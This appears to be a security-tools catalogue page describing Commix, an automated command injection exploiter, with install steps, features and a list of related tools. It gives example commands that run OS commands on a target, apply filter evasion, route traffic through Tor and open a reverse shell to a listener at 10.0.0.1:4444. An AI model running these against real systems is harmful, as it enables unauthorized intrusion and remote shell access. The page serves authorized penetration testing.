Web Application
Commix (Command Injection Exploiter) is an automated tool designed to test, detect, and exploit command injection vulnerabilities in web applications, facilitating automated OS shell access.
sudo apt install commix
commix -u "<URL>"
Commix is a specialized security testing tool that automates the detection and exploitation of command injection vulnerabilities in web applications. Developed by Anastasios Stasinopoulos, it supports multiple injection techniques including classic command injection, time-based blind injection, out-of-band (OOB) injection, and file-based semi-blind injection.
The tool works by injecting OS command separators and payloads into vulnerable parameters, analyzing responses to determine if commands were executed. It can escalate a simple injection into full interactive shell access, making it a powerful tool for post-exploitation.
Commix includes built-in WAF bypass mechanisms, encoding modules, and support for various output capture techniques. Security professionals use it during authorized penetration tests to demonstrate the impact of command injection vulnerabilities.
commix -u "http://192.168.1.1/search.php?q=test"Basic evaluation - Scan a target URL and its parameters for command injection vulnerabilitiescommix -u "http://192.168.1.1/search.php?q=test" --os-cmd="whoami"Execute system command - Attempt to run a single operating system command on the target hostcommix -u "http://192.168.1.1/search.php?q=test" --allExhaustive assessment - Enable all available injection techniques and estimation parameterscommix -u "http://192.168.1.1/search.php?q=test" --data="id=1&user=test"POST request testing - Analyze parameters sent through HTTP POST data payloadscommix -u "http://target.com/page?cmd=test"Basic testcommix -u "http://target.com/page?cmd=test" --os-cmd=whoamiExecute commandcommix -u "http://target.com/page?cmd=test" --allAll techniquescommix -u "http://target.com/page?id=1" --cookie="session=abc"Authenticated — inject through a request carrying session cookiescommix -u "http://target.com/page?id=1" --reverse-shell=10.0.0.1:4444Reverse shell — spawn an interactive shell back to your listenercommix -u "http://target.com/page?id=1" --technique=tTime-based — force blind, time-based injection detectioncommix -u "http://target.com/page?id=1" --evasion=5Evasion — apply advanced encoding to bypass input filterscommix -u "http://target.com/page?id=1" --torAnonymity — route all traffic through the Tor networkcommix --file=requests.txt --batchBatch — load a saved HTTP request and run non-interactivelyAutomatically detect command injection vulnerabilities in web application parameters.
Escalate command injection into interactive shell sessions on target servers.
Test WAF effectiveness against obfuscated command injection payloads.
Exploit time-based and OOB command injection when output is not directly visible.
Demonstrate command injection impact during authorized web application assessments.
Study command injection techniques and develop new bypass methodologies.
Web Application
Automated SQL injection detection and exploitation tool with database takeover capabilities.
Web Application
Automated blind injection detection tool using time-based and out-of-band techniques.
Web Application
Advanced XSS detection suite with intelligent payload generation and context analysis.
Web Application
Automated XSS detection framework with WAF bypass and payload generation.
Exploitation
Exploitation framework with post-exploitation modules and payload generation.
Shows if parameter is injectable. Provides shell access if successful.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.